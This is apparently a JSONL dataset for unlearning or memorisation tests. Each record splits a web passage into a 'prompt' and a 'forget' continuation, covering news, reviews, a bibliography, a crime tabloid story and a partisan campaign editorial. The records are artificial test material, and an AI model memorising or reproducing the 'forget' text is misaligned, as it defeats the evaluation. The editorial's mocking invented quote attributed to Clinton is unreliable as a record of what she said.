knowing the full extent of what it means to be a steroid-using bodybuilder and how it got that way. I find it unfortunate that the younger guys embracing our culture today have to adapt to a whole different set of circumstances regarding steroids than my contemporaries did. Today you have to understand that the general public - the people you deal with, work with, live next to - believes that \"steroids\" cause a plague of maladies, from liver, brain and kidney cancer, to heart attacks and strokes, to psychotic episodes that end in madness, mayhem, murder and death. Given the current state of the public discourse,"}
{"prompt": "After two decades of obscurity, all it took was a few choice roles to get noticed\u2014a Nazi infiltrator here, an X-Men villain there, plus one unforgettable turn in Shame that made him a full-frontal phenomenon. His rapid rise continues this month with Ridley Scott's Alien prequel, Prometheus. But as Chris Heath discovers, Michael Fassbender is more than the sum of his parts If he\u2019s going to take me home with him, Michael Fassbender first needs a moment alone. That\u2019s the one thing he asks. We\u2019ve been walking and talking for a while in a local park, but he didn\u2019t even", "forget": "mention that we were close by his apartment until the increasingly heavy rain triggered his sense of hospitality. \"Just give me two seconds to do a little bit of a sort of tidy-up,\" he requests. \"My mother wouldn\u2019t be happy.\" I wait in the stairwell, glad just to be getting no wetter, until he swings open the door. \"Okay!\" he beams. \"Welcome to my flat!\" Perhaps the hillside mansions, penthouse duples, lakeside haciendas, and beachfront idylls will follow in the traditional movie-star way, but for now these three rooms\u2014this big one we are in, a small bedroom at the back with bedding on the verge of tumbling out the open door, and an unseen bathroom\u2014are the only ones in the world Michael Fassbender can call his own. \"For one person, it\u2019s perfect, really,\" he says. Although some areas of East London have become hyperfashionable in recent years, this is not one of them. He moved to this apartment in 2006, at the end of his twenties, when he was just one more actor getting enough work to live off but still wondering whether that chance would ever come to show the world what he could really do. Since his recent breathless ascent, he has had neither the time nor the inclination to move. \"I always liked the energy round here. Traditionally more of a working-class area. A bit of an edginess to it, as well. And the parks are everywhere here. I always just felt like this was the right spot for me.\" Fassbender directs me to a perch near a small raised tabletop\u2014\"nice little congregation spot\"\u2014and offers me a choice of drinks: champagne, beer, tea. It\u2019s the early afternoon, and this is the first time we\u2019ve met, so tea seems most prudent. He opens the fridge. \"The milk is"}
{"prompt": "Please Take Note: This is a review of the game\u2019s final prototype. The art, game bits, and the rules discussed are all subject to change. The game is being reviewed on the components and the rules provided with the understanding that \u201cwhat you see is not what you might get\u201d when the game is published. If you like what you read and want to learn more, we encourage you to visit the game\u2019s web page or the Kickstarter campaign. Now that we have all that disclaimer junk out of the way, on with the review! The Basics: For ages 21", "forget": "and up For 2 to 6 players Approximately 60 minutes to complete Geek Skills: Counting & Math Logical & Critical Decision Making Reading Pattern/Color Matching Strategy & Tactics Hand/Resource Management Learning Curve: Child \u2013 Untested (but presumed Easy) Adult \u2013 Easy Theme & Narrative: Collect the necessary ingredients to create a craft beers to grow your brewery Endorsements: Gamer Geek approved! Parent Geek rejected! Child Geek N/A Overview Micro breweries are all the rage, and after trying your hand at making a few of your own craft brews, you\u2019ve decided to create your own business. But making beer for yourself to enjoy is one thing and creating a brewing company is something altogether different. To be successful, you must craft beers using the best ingredients available, come up with new and interesting recipes, and then sell your product. In the end, it won\u2019t matter how good your craft beers are if no one is drinking them. Pint Craft, by Macrospectra Games, is comprised of 112 cards (83 Brewery cards, 25 Recipe cards, and 4 Season cards) and 107 Ingredient tokens (45 Basic Malt, 20 Specialty Malt, 26 Hops, and 16 Adjunct). As this is a review of a prepublished game, we will not comment on the game component quality, but the proposed card layout and art direction is easy on the eyes and to use during the game. Brewery Set Up To set up the game, first separate the cards into three decks. These will be the Brewery deck, the Recipe deck, and the Season deck. The three different card types have different card backs making this process an easy one to complete. Shuffle all but the Season deck thoroughly. Second, deal out 5 Brewery cards to each player, face-down. Players are welcome to look at their cards but should"}
{"prompt": "Last Friday, against the vehement and public urging of his own Attorney General and nearly one hundred of the nation\u2019s most respected legal experts, Governor Bobby Jindal signed Senate Bill 469 into law. Quoting his press release (bold mine): Governor Jindal said, \u201cThis bill will help stop frivolous lawsuits and create a more fair and predictable legal environment, and I am proud to sign it into law. It further improves Louisiana\u2019s legal environment by reducing unnecessary claims that burden businesses so that we can bring even more jobs to our state. The bill will also send future recovered dollars from", "forget": "CZMA litigation to coastal projects, allowing us to ensure Louisiana coastal lands are preserved and that our communities are protected.\u201d If you\u2019re wondering who, exactly, the law benefits, all you need to do is keep reading Jindal\u2019s press release, which contains this amazing confession. Quoting (again, bold and italics mine): LOGA President Don Briggs said, \u201cThe signing of SB 469 is a huge victory for the oil and gas industry as well as the economy for the state of Louisiana. We commend Governor Jindal for his leadership and support of this bill as it made its way through the process\u2026.\u201d As I mentioned in a previous post, SB 469 was, ostensibly, about stopping a controversial, landmark lawsuit filed by the Southeast Louisiana Flood Protection Authority-East (SLFPA-E) against 97 oil and gas companies for their role in illegally damaging and depredating the state\u2019s coastal environment and ecosystem. But as we now know, the law is about much more than merely ending a single lawsuit by a single governmental authority. SB 469 appears to have been written and deliberately designed by lawyers who represent the oil and gas industry in order to shield, reduce, or eliminate their clients\u2019 exposure to civil damages on a wide range of pending and future claims, including, most notably, BP\u2019s liability for billions of dollars in outstanding claims related to the 2010 Deepwater Horizon catastrophe. Indeed, according to people intimately involved in the legislative process, no one lobbied harder for the passage of SB 469 than those associated with BP. With the stroke of the pen, Governor Bobby Jindal likely saved the oil and gas industry billions of dollars in damages for which they otherwise would have been legally responsible, damages that are legitimately owed to hundreds, if not thousands, of hardworking families, businesses, and coastal communities"}
{"prompt": "Almond , Peter . 1994 . We came to keep peace, not to fight a war, says Rose . Daily Telegraph 19 April:10. Arellano , Manuel Bond , Stephen . 1991 . Some Tests of Specification for Panel Data: Monte Carlo Evidence and an Application to Employment Equations . Review of Economic Studies 58 ( 2 ): 277 \u2013 297 . Arellano , Manuel Bover , Olympia . 1995 . Another Look at the Instrumental Variables Estimation of Error-Components Models . Journal of Econometrics 68 : 29 \u2013 51 . Autesserre , S\u00e9verine . 2010 . The Trouble with the", "forget": "Congo: Local Violence and the Failure of International Peacebuilding . New York : Cambridge University Press . Beck , Nathaniel Katz , Jonathan . 1995 . What to Do (and Not to Do) with Time-Series Cross-Section Data . American Political Science Review 89 ( 3 ): 634 \u2013 647 . Beck , Nathaniel Katz , Jonathan . 1996 . Nuisance vs. Substance: Specifying and Estimating Time-Series Cross-Section Models . Political Analysis 6 ( 1 ): 1 \u2013 36 . Biermann , Wolfgang . 1996 . The UNPROFOR Mission in Former Yugoslavia: First Results from a Survey among UN Officers Involved . Copenhagen : COPRI . Biermann , Wolfgang Vadset , Martin . eds. 1998 . UN Peacekeeping in Trouble: Lessons Learned from the Former Yugoslavia . Aldershot : Ashgate . Bosnian National Institute of Statistics (BNIS) . 1992 . Statisti\u010dki Godi\u0161niak Republike Bosne i Hercegovine 1992 [Statistical Yearbook of Bosnia-Herzegovina 1992 ]. Sarajevo . Buhaug , Halvard R\u00f8d , Jan Ketil . 2006 . Local Determinants of African Civil Wars, 1970\u20132001 . Political Geography 25 ( 3 ): 315 \u2013 335 . Burg , Steven Shoup , Paul . 1999 . The War in Bosnia-Herzegovina: Ethnic Conflict and International Intervention . London : M.E. Sharpe . Cederman , Lars-Erik Gleditsch , Kristian Skrede . 2009 . Introduction to Special Issue on Disaggregating Civil War . Journal of Conflict Resolution 53 ( 4 ): 487 \u2013 495 . Cederman , Lars-Erik , Girardin , Luc Gleditsch , Kristian Skrede . 2009 . Ethnonationalist Triads. Assessing the Influence of Kin Groups on Civil Wars . World Politics 61 ( 3 ): 403 \u2013 437 . Costalli , Stefano Moro , Francesco Niccol\u00f2 . 2012 . Ethnicity and Strategy in the Bosnian Civil War: Explanations for the Severity of Violence in Bosnian Municipalities"}
{"prompt": "An army of build-it city dwellers, funded by the CEO of Yelp, is heading to court to force a sleepy East Bay suburb to go dense. The San Francisco Bay Area Renters\u2019 Federation \u2014 which goes by the name SFBarf \u2014 is suing the city of Lafayette, demanding that it resurrect a scrapped plan to build high-density housing on a 22-acre knoll of Deer Hill Road, just north of Highway 24. It\u2019s the first legal challenge in what SFBarf has promised will be a \u201cSue the Suburbs\u201d campaign to push places like Lafayette to help the Bay Area build its", "forget": "way out of the shortage of housing. The case is making a central Contra Costa County town known for good schools and cow-dotted hillsides a battlefront in a regional housing war. \u201cWhy Lafayette? It\u2019s on BART, it\u2019s right next to Walnut Creek, and yes, people want to live there,\u201d said SFBarf\u2019s 34-year-old founder, Sonja Trauss, a full-time activist with a master\u2019s degree in economics who lives in West Oakland. \u201cIt\u2019s a nice place,\u201d said SFBarf\u2019s lawyer, Ryan Patterson. Now Trauss is trying to force Lafayette to do what she sees as its fair share. Her organization sued the city in September after hearing that a developer had tabled plans to build 315 moderate-income apartments on a stretch of open space, instead opting for 44 single-family homes with a dog park, sports field and parking lot. City Manager Steven Falk deemed that plan a fair alternative after residents criticized the original proposal in 2013, saying it would desecrate the landscape and clog the city\u2019s roads. The revised \u201cHomes at Deer Hill\u201d plan got a warm reception in City Hall, and the City Council unanimously approved it in August. SFBarf filed a revised lawsuit in March, saying that officials had violated the state\u2019s Housing Accountability Act, which bars cities from rejecting development for arbitrary reasons \u2014 in this case, because a vocal faction of Lafayette residents wanted to preserve the city\u2019s \u201csemirural\u201d character. Trauss said city officials had strong-armed the developer, O\u2019Brien Homes, into redesigning the project at a lower density. Seeking to make a statement The suit seeks to invalidate the 44-home plan and force the city to issue permits for the original 315-apartment development, regardless of whether O\u2019Brien Homes still wants to build it, Patterson said. A spokesman for the company declined to comment until the SFBarf lawsuit and a"}
{"prompt": "SEVENTY years have passed but the emotion remains for Australian veterans of World War II Bomber Command. During a special Australian service at an Air Forces memorial on the outskirts of London yesterday tears flowed among an aged gathering as thoughts turned to thousands of fallen comrades. About 10,000 Australians served with Bomber Command, with 3486 killed in battle, while a further 650 died in training accidents in the United Kingdom. \"In lonely cockpits at dizzy altitudes ... in fog, in deadly cold, in storms, on fire, in prison camps, in skin grafting hospitals, there are none deserving more honour.", "forget": "Today we remember their selfless sacrifice,\" Major General Mark Kelly told the gathering of about 100 veterans. The veterans from across Australia are in London for the dedication of a memorial to Bomber Command by the Queen tomorrow. It commemorates the 55,573 Bomber Command aircrew killed during the war. \"This is a very emotional day,\" Adelaide veteran David Leicester, 88, said. \"It really gets to me and I will find I have tears in my eyes for the whole week of celebrations. The playing of the Last Post and the national anthem of both countries gets right into my heart. \"When the Queen unveils the memorial on Thursday, I can't even begin to think how I will react, with so much emotion.\" Mr Leicester flew 68 missions with Bomber Command, mostly night-time bombing operations over German cities in aircraft including the Halifax, and Pathfinder Lancasters. \"One of the worst nights for me was March 30/31, 1944 when 96 aircraft were shot down and a further number crash landed,\" Mr Leicester said. \"It was the worst night for Bomber Command casualties and we had a particularly bad time, returning on three engines and severe damage to the aircraft. \"It was a very rough landing, but we were the lucky ones.\" Steve Flood, 88, from Stanthorpe in Queensland, flew as a air gunner in 30 Bomber Command operations for 467 Squadron over enemy territory in 1944. \"One was a raid to Revigny (France) which was only a small raid of 106 aircraft and altogether 24 were lost. (Squadron) 467 had six aircraft on the raid that night and only four came back.\" While Mr Flood is looking forward to the Bomber Command memorial dedication as a \"fitting\" tribute, the highlight of his trip to England will be a war museum visit where"}
{"prompt": "Remember that movie from the early 2000s, \u2018I Heart Huckabees\u2019? The main character, played by Jason Schwartzman, is curious about the constant coincidences in his life, so he hires a unorthodox duo of detectives help him figure out what they could mean. At the time, I found the premise pretentious and confusing, but right about now, I totally get it. For my own life has begun to resemble a Wes Anderson movie, albeit without the helpful existential investigators and dreamy pastel hues. So in the spirit of attempting to make sense of them myself, here are some examples of the", "forget": "synchcronicities Ive experienced lately. NUMBERS At work, I\u2019m a busy person. I\u2019m rarely idle and I don\u2019t clock-watch, but still, almost every single day, I find myself looking at time at 11.11, 1.11 and 3.33. Usually, those times are the ONLY three times I\u2019ve checked my watch. In fact it\u2019s so common that if I happen to miss one, like the other day when I checked my phone at precisely 11.12, it feels like something is off. RUMI POEM A few months back, I was listening to a psychology podcast on my 45min commute to work, as I am apt to do. The topic was mindfulness, a concept I\u2019m reasonably familiar with, and the segment closed with the guest speaker providing a quote by the poet Rumi, who\u2019s work I am also reasonably familiar with. This, however, was a poem I had never heard, called \u2018The Guest House\u2019. For those unacquainted with this particular piece, here it is: It is a lovely poem and I enjoyed hearing it, although to be honest I didn\u2019t give it much more thought once my drive was over. One of my daily work duties is selecting the store\u2019s music playlist, and that day I had randomly put the latest Coldplay album into the rotation. Now it is important to note that I have never heard this album, nor had much inclination to as I\u2019m not a huge fan of the band (although I did admittedly enjoy a few of their earlier songs). I don\u2019t know what inspired me to choose it that day, but I did, and around 1pm it started playing in the store. A few songs in, while performing duties out on the floor, I was stopped in my tracks. The music had ceased for a spoken word interlude, which in itself"}
{"prompt": "Roy Hodgson\u2019s men became the first England team to win all of their European qualifiers. Does this mean they are nailed on to go far in France 2016? We look at the five other teams who have done this in the past and see how they performed during the finals. Spain Euro 2012 \u2013 Winners Spain are the only team in the history of the tournament to win the tournament after winning all qualification games. They won their group but could only manage a draw on their opening fixture of the group stages. They then went on to beat France", "forget": "2-0 in the quarter finals, Portugal on Penalties before thumping Italy 4-0 in the final to lift the trophy. Germany Euro 2012 \u2013 Semi Finals Germany were also unbeaten heading into the Euro 2012 finals. They also managed to win all three group games against Portugal, Denmark and Holland. A convincing 4-2 victory over Greece in the quarter finals set up a semi final with Italy. However they lost the game 2-1 thanks to a Mario Balotelli brace. France Euro 2004 \u2013 Quarter Finals France won all eight qualifying games in 2004 and only conceded two goals. The defending champions were poor throughout the group stages winning just one game. However they stumbled through to a quarter final against Spain. It was no suprise that they lost the game 2-0 given their poor group stage form which was a massive disappointment when you have the likes of Zidane and Henry in your team. Somewhat good news so for England fans as it looks like they\u2019ve guaranteed a quarter final or semi final spot based on the above teams. However, two teams with 100% records actually went on to exit at the group stages of the finals! Czech Republic Euro 2000 \u2013 Group Stage Czech Republic were the only team to win all qualifying games but were drawn in a tough group with Holland and France. This ultimately led to them being knocked out at the group stages within two games. Their group consisted of some poor teams which should send warning signals out to England fans \u2013 Lithuania, Estonia, Bosnia, Faroe Islands and Scotland. France Euro 1992 \u2013 Group Stage After failing to qualify for the 1990 World Cup in Italy the French side were pleased to go unbeaten in qualifying for Euro 1992. However, Michel Platini\u2019s men joined England"}
{"prompt": "Man convicted of molesting a dead deer and shooting horse to have sex with it 'assaulted female cop after shoplifting from Walmart' Bryan James Hathaway, 25, was charged with assaulting off-duty policewoman Officer Kody Vedder was shopping with her daughter at the time of the incident Vedder spotted Hathaway looking shifty in the backseat of a car and tried to detain him Police seized three brand-new cell phones and other equipment from the car where Hathaway was sitting Man was convicted in 2006 of molesting the carcass of a deer he found in a ditch while biking in 2005, Hathaway", "forget": "pleaded no contest to shooting an Arabian horse to have sex with it A man from Superior, Wisconsin, who gained international notoriety after being convicted in 2006 of molesting the carcass of a dead deer was arrested this week for allegedly assaulting a female police officer. Bryan James Hathaway, 25, was arraigned Wednesday on four charges stemming from an incident that took place at the Hermantown Walmart on Monday night. Hathaway is accused of assaulting Officer Kody Vedder, obstructing legal process, fleeing on foot and receiving stolen property. He is being held in the St. Louis County Jail on $20,000 bail. Confrontation: Bryan James Hathaway, right, has been charged with assaulting off-duty police officer Kody Vedder, left, when she tried to detain him after spotting the 25-year-old acting suspiciously According to the criminal complaint, Vedder was off duty and shopping at Walmart with her 11-year-old daughter after getting off work Monday evening, Duluth News Tribune reported. The officer was wearing a black T-shirt with the word POLICE emblazoned across the front and back of the shirt in bold white letters. With her shopping done, Vedder was walking back to her car when she spotted Hathaway in the backseat of a Lincoln Town Car parked next to her. The complaint states that the officer thought that the man appeared suspicious by the way he was repeatedly ducking down and watching out for passersby. Vedder got out of her car, knocked on the window of the vehicle where Hathaway was sitting and pointed to the lettering on her shirt. She then told the 25-year-old that she is a cop and instructed him not to move. Crime scene: The incident happened in the parking lot of the Hermantown Walmart in Wisconsin The officer called 911 and asked for police response, but before the"}
{"prompt": "SHARE THIS STORY: Donald Trump is aiming to pull off one of the greatest political comebacks in history. EDITOR\u2019S NOTE: This is what\u2019s known in the business as \u201chedging your bets\u201d. Yes, CNN, the Clinton News Network, is absolutely all in for Crooked Hillary. But at the end of the day, there are bills to be paid, and that\u2019s just a hard, cold fact of life. So CNN, seeing the seemingly unstoppable Trump Train, has decided to play both sides of the street for awhile to see what side the slice of buttered bread falls on. Trump Train\u2026now boarding for", "forget": "1600 Pennsylvania Avenue! The Republican nominee is rebounding from a summer of repeated stumbles that threatened to undermine his candidacy, underscoring his ability to claw his way back and stay competitive despite controversies that would sink any other politician. Donald Trump and Hillary Clinton enter the critical post-Labor Day phase of the campaign in a dead heat. A CNN/ORC national poll released Tuesday finds Trump ahead of Clinton by two points \u2014 45% to 43% \u2014 among likely voters. The race is also tight among registered voters, where Clinton has a three point advantage. Both findings are within the margin of error. The narrowing of the race is a remarkable feat for Trump, who was down 10 points a month ago in CNN\u2019s Poll of Polls. \u201cHello, Cleveland\u2026*cough*\u2026*ah-hack*\u2026.we are so happy to\u2026*cough*\u2026*cough*\u2026be here!\u201d If Trump can spend the next 63 days shining a relentless and unforgiving spotlight on Clinton\u2019s vulnerabilities and avoid more self-inflicted wounds, there could be a path \u2014 however narrow \u2014 for him to reach the White House. \u201cCan he fundamentally alter the focus of this election right now \u2014 which is on him?\u201d asked Bill Lacy, a GOP veteran who ran presidential campaigns for Bob Dole and Fred Thompson. \u201cHe needs to make this election about Secretary Clinton.\u201d Donald Trump has captured the imagination of the American people like no other since Ronald Reagan: Forward to minute 3:00 to see the massive size of the crowds following Trump around. He has more people at one rally then Hillary has at half a dozen. Trump\u2019s best chance for altering the race lies in the presidential debates, which begin September 26 and will serve as critical tests of his temperament and knowledge. In front of a vast television audience, the GOP nominee could reshape perceptions of his character"}
{"prompt": "File photo of ex-policemen Azilah Hadri and Sirul Azhar Umar (heads covered). Sirul claims he was abandoned by his superiors after obeying orders to kill Altantuya Shaariibuu. \u2014 Reuters pic KUALA LUMPUR, Feb 18 \u2014 Former police commando Sirul Azhar Umar has claimed he was abandoned by his superiors after obeying orders to kill Altantuya Shaariibuu, as he considers revealing the details of the Mongolian\u2019s mysterious murder. In a telephone interview with online portal Malaysiakini, the convicted killer said he was merely performing his duty to safeguard the country\u2019s interests, a decision that landed him with a death sentence for", "forget": "murder. \u201cIf I die today, I would not find peace as I did what I was told and this is what I get in return,\u201d he said in the report. On January 13, the Federal Court reversed the acquittal of Sirul, 43, and former Chief Inspector Azilah Hadri, 39, of the murder of the Mongolian model and restored the mandatory death sentence handed by the High Court in 2009. Sirul was sentenced in absentia, however, as he was believed to have already left the country at the time. The decision came just over a year after the Court of Appeal ruled on August 23, 2013 that the High Court trial judge had misdirected proceedings and rendered their initial conviction and sentence unsafe. Sirul, now detained by Australian immigration authorities, claimed that the apex court should have called his then-superior, deputy superintendent Musa Safri, to the stand to help his case. \u201cThe court also ignored the questionable DNA evidence on the bloodstain found on a shoe placed in my car as well as my own DNA sample. \u201cThe court ignored this despite the strong submissions made by my lawyers,\u201d Sirul said. In its written judgment, the Federal Court ruled out the need to hear the testimony of Musa, a former aide of then deputy prime minister Datuk Seri Najib Razak, saying it would not have any consequence to the case. Sirul had previously claimed that he was made a \u201cscapegoat\u201d in Altantuya\u2019s murder, and that he was distressed by political analyst Abdul Razak Baginda\u2019s claim in an interview last month that \u201crogue policemen\u201d were responsible for the model\u2019s death in 2006. Malaysian police have put in a formal request for Sirul\u2019s deportation to Malaysia but Australia\u2019s extradition legislation prohibits an individual from being sent back to another country for an offence"}
{"prompt": "THE Old Town in Tallinn, the capital of Estonia, does not look like a den of thieves. On a summer afternoon, herds of elderly tourists\u2014American, Japanese, British\u2014wander between the gift shops and sip lagers at pavement caf\u00e9s beneath the gothic town hall. In a park, teenagers chat and smoke cigarettes in the sun. Valdo P\u00f4der, a local police officer, remembers when it was quite different. In the mid-1990s curtains rose at the city\u2019s theatres at six o\u2019clock so that the audience could get home before sunset. Young men hung around selling bootleg vodka. The streetlights were always smashed. Pointing to", "forget": "one smart-looking bar Mr P\u00f4der says he would have needed a team of at least ten officers to raid it. \u201cWe\u2019d have to put everyone inside on the floor,\u201d he says. \u201cOr else we might get shot at.\u201d Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks. Crime in Estonia has fallen precipitously. Since 1995, the country\u2019s murder rate has dropped by 70%, and robbery and car theft have fallen almost as far. Even as the country entered a deep recession in 2009, which pushed unemployment up to 19%, the crime rate kept falling. But though the magnitude of this trend sets post-Soviet Estonia apart, its direction does not. Across the developed world, the crime wave that began in the 1950s is in broad retreat (see chart 1). Both police records (which underestimate some types of crime) and surveys of victims (which should not, but are not as regularly available a source of data) show crime against the person and against property falling over the past ten years in most rich countries. In America the fall began around 1991; in Britain it began around 1995, though the murder rate followed only in the mid-2000s. In France, property crime rose until 2001\u2014but it has fallen by a third since. Some crimes are all but disappearing. In 1997, some 400,000 cars were reported stolen in England and Wales: in 2012, just 86,000. Once upon a time in America Cities have seen the greatest progress. The number of violent crimes has fallen by 32% since 1990 across America as a whole; in the biggest cities, it has fallen by 64%. In New York, the area around Times Square on 42nd Street, where pornographers once mingled with muggers, is now a family oriented tourist trap. On London\u2019s housing"}
{"prompt": "The trials of Kevin Mitnick Mitnick ALSO: Legendary hacker signs plea bargain to win freedom in one year FULL TEXT: U.S. vs. Kevin D. Mitnick RELATED VIDEO CNN's Sean Callebs reports on Mitnick's capture (Originally aired: Jan. 16, 1996) Windows Media 28K 80K MESSAGE BOARD: Internet hackers By John Christensen CNN Interactive March 18, 1999 Web posted at: 3:46 p.m. EST (2046 GMT) (CNN) -- Kevin David Mitnick -- once the most wanted computer hacker in the world, the inspiration for two Hollywood movies and a cyberspace cult hero -- had been scheduled to stand trial April 20 in Los", "forget": "Angeles in one of the most celebrated computer-related cases in history. But it was announced Thursday that Mitnick has signed a plea agreement that reportedly will set him free after serving another year in prison. He has been incarcerated since February 1995 on a 25-count indictment that includes charges of wire fraud and illegal possession of computer files stolen from such companies as Motorola and Sun Microsystems. Mitnick was arrested after what Assistant U.S. Attorney Christopher Painter called \"a countrywide hacking spree\" that earned Mitnick a spot on the FBI's Most Wanted list. Over a 2 1/2-year period, Mitnick was alleged to have hacked into computers, stolen corporate secrets, scrambled phone networks, broken into the national defense warning system and caused millions of dollars in losses. Shimomura After being tracked down in a dramatic bit of cyber-sleuthing by computer expert Tsutomu Shimomura, Mitnick was arrested by the FBI in a nondescript apartment complex in Raleigh, North Carolina. In a 25-count indictment brought in Los Angeles, Mitnick was charged with computer and wire fraud and had been held without bail since his arrest. He was believed to have been held longer without a trial than any other prisoner in the United States. \"He's a danger to the community,\" said Painter. \"We're talking about someone who has consistently and without self-control hacked into systems everywhere. He also was a fugitive and used multiple identities. We think there's a firm basis for holding him, and the courts have agreed.\" 'Murderers ... have suffered less' Kevin Mitnick's criminal record 1981 Where: California Charge: Computer fraud for stealing computer manuals from Pacific Bell Sentence: One year probation 1987 Where: California Charge: Computer fraud (no details available) Sentence: Pleaded guilty, but sentence unknown 1989 Where: California Charges: Computer fraud and possession of unauthorized access devices for"}
{"prompt": "CLEVELAND, Ohio - The federal government is giving the Greater Cleveland Regional Transit Authority two final weeks to reopen Public Square to buses. The Federal Transit Administration will give RTA until March 7 to allow buses on Superior Avenue through the square before it will enforce a $12-million fee. In a Feb. 17 letter to RTA CEO Joe Calabrese, Robert Tuccillo, associate administrator for budget and policy for the FTA, writes, \"The FTA will grant a final extension of 14 days, to March 7, 2017, for GCRTA to provide a written response to FTA's Dec. 20, 2016 debt letter, or", "forget": "the debt will be considered delinquent and trigger debt collection actions. The FTA looks forward to bringing this matter to a close soon.\" The FTA originally gave RTA until Jan. 19 to reopen Public Square to buses, but granted a 30-day extension until Feb. 21. Calabrese on Feb. 16 requested an extension beyond the Feb. 21 deadline so that RTA could implement \"safety and traffic control physical changes that may need to be made if Public Square is to be opened.\" The city of Cleveland and RTA are reviewing the traffic and safety studies that have been completed on the square and need more time to put into place safety and security measures that address concerns outlined in the studies, Calabrese explained. In his letter, the FTA's Tuccillo said the original extension was granted \"to allow the FTA and GCRTA to discuss the basis for FTA's calculation of debt.\" During a Feb. 9 meeting of the two parties, the FTA explained that it could have forced RTA to repay $142.8 million in grants over the closing of Superior Avenue through Public Square. That would have been the full amount of a 2004 funding deal RTA made with the Federal Transit Administration for the Euclid Corridor Transportation Project. Tuccillo's Feb. 17 letter warns, \"Please be advised that the FTA will not grant any additional requests for an extension.\" What's been happening Public Square has been closed to buses since early 2015 while the square was under renovation. However, it was scheduled to reopen Aug. 1, 2016. At that time, Mayor Frank Jackson chose to ban buses in favor of a unified Public Square. Jackson has said he would reopen the square to bus traffic if there were no way to keep it closed without harming RTA's operations or bottom line, and"}
{"prompt": "By Song Zhibiao, Qiao Mu, and Mo Zhixu, published: January 6, 2016 As the year 2015 was drawing to its end, a new expression was born on China\u2019s social media: \u201cthe Zhaos\u201d (\u201c\u8d75\u5bb6\u4eba\u201d). New phrases pop up regularly online in China, but \u201cthe Zhaos\u201d has been hailed as revolutionary. Never has an expression captured the essence of China\u2019s politics and economy with such pithiness and precision\u2014that a class of people thinks China belongs to them, acts like its owner, and is indeed the owner. Compared to the phrase \u201cyour country,\u201d (an inversion of the official reference to China as \u201cour", "forget": "country\u201d) which has been in vogue for a while, \u201cthe Zhaos\u201d brings into focus a critical divide that has never been encapsulated. It is, many believe, destined to permanently enter the Chinese lexicon. This article presents a compilation of explanations and uses of the expression, and its social and political interpretations. \u2014 The Editors Who are \u201cthe Zhaos\u201d? The now-popular term came from Lu Xun\u2019s \u201cThe True Story of Ah Q.\u201d Young Master Zhao passed the local civil service examination, and when Ah Q, who thought himself a Zhao, sung his joy and happiness along with the others, Old Master Zhao slapped him hard in the face and said: \u201cDo you think you\u2019re worthy of the name Zhao?\u201d From here came the \u201cthe Zhao family,\u201d or simply \u201cthe Zhaos,\u201d which specifically refers to China\u2019s powerful and rich families. \u2014Qiao Mu In its original usage, \u201cDo you think you\u2019re worthy of the name Zhao?\u201d expresses disdain at the lowly Ah Q attempting to associate himself with the rich and powerful. It was initially used on the Internet to ridicule \u201cvolunteer 50-centers\u201d [a group of netizens who defend the Party online\u2014and not even for payment]. As time went on, new terms and expressions evolved. For example, a new word for volunteer 50-center is \u201cspiritual Zhaos\u201d (\u201c\u7cbe\u8d75\u201d) meaning that they are Zhaos in spirit; whereas \u201creal Zhao\u201d (\u201c\u771f\u8d75\u201d) refers to a real Zhao family member; \u201cthe country of Zhao\u201d (\u201c\u8d75\u56fd\u201d) refers to China. As to who can be considered a real Zhao, generally speaking, the real Zhaos are the direct descendants of the generation of Chinese Communist Party leaders who established the communist system. \u2014 Mo Zhixu In addition to being used as a general term for rich and powerful families, the expression \u201cthe Zhaos\u201d also has variations for subclasses of this group."}
{"prompt": "Sports Illustrated is releasing its annual list of the Top 100 players in the NBA and three Bucks appear on the list. Greg Monroe (63), Giannis Antetokounmpo (48) and Khris Middleton (39) all made the cut for the Top 100 this season, with two of them improving upon their ranking compared to last season. Antetokounmpo made a huge jump from No. 100 last season to No. 48 in this year\u2019s rankings. This shouldn\u2019t come as too much of a surprise as the Greek Freak set career highs in nearly every offensive category during the 2015-16 season while breaking through for", "forget": "five triple-doubles. Ben Golliver, who helped ranked the players for SI, said this about Giannis: \u201cThe individual results, as irrelevant to the standings as they might have been, were stunning: the 21-year-old Antetokounmpo averaged 19/9/7 after the break, monster numbers that bring to mind elite producers like LeBron James and Russell Westbrook. Viewed as a raw prospect when he was taken in the 2013 lottery, Antetokounmpo showed improvement as a pick-and-roll initiator and converted transition opportunities into points like a seasoned pro.\u201d Middleton also rose in the rankings this year, moving up six spots from No. 45 to No. 39. Middleton averaged a career-high, and team-high, 18.2 points per game last season in addition to career highs in assists (4.7), steals (1.7) and minutes per game (36.1). Here\u2019s what Rob Mahoney of Sports Illustrated had to say about Middleton: \u201cThe relatively anonymous Middleton scored in isolation at a volume and efficiency similar to Kyrie Irving, Kyle Lowry, and Isaiah Thomas last season, according to Synergy Sports. He did so while doubling as just the kind of unassuming floor spacer Milwaukee needed to flank Giannis Antetokounmpo and balance its most effective lineups. Middleton ranks this high on our list because he makes that balance look easy. Rare are the wings who can take over when called, step back when needed, and defend effectively throughout. Middleton qualifies, and the proportional dimensions of his game render the 25-year-old as one of the most universal players on our list.\u201d Monroe was the final Buck to appear on the list, coming in at No. 63. In his first season with the Bucks, Monroe continued to be a double-double machine, hauling in a team-high 32 double-doubles while averaging 15.3 points and 8.8 rebounds per game for the season. The write-up on Monroe notes that he\u2019s behind"}
{"prompt": "A downtown councillor will ask the city to extend the deadline for heritage grants available to preserve 1800s-era Gore Park storefronts set for redevelopment, even though the owners have no interest in applying for the money. The city is offering up to $1.1 million for restoration of the facades of the buildings along the south leg of King Street, but the developer says it would take double that to preserve them and he isn't interested unless someone else comes up with the additional money. They want to keep the facades, fine. Someone will have to pay for that. - Dave", "forget": "Blanchard \"The buildings are collapsing as we speak,\" said David Blanchard, who is a partner in the development company that bought the buildings in 2000. \"They want to keep the facades, fine. Someone will have to pay for that.\" It's been a year since Coun. Jason Farr pushed forward an urgent call to designate the buildings historic and halt their impending demolition. The developers appealed that decision to the provincial Conservation Review Board, which pushes the debate over the properties' status to at least March. And now the buildings are set to head into a second winter with their interiors exposed, their condition worsening. The city had pre-approved $1.1 million in grants if the developers would designate the buildings historic. Those grants have not yet been applied for. On Wednesday at city council, Farr will push to extend the deadline for the developers to take advantage of those grants up until the end of 2015. \"We're all trying to work this thing out,\" Farr said. Blanchard estimates the restoration of the facades to cost at least double what the city is offering, more like $2.5 million. \"We don\u2019t want the historic parts particularly \u2014 other people do,\" he said. \"Because it\u2019s expensive. ... If someone\u2019s willing to pay to keep it up and fund it, fine, we\u2019ll try to work with that.\" 'They\u2019ve been sitting there for two years with water running through them' Farr 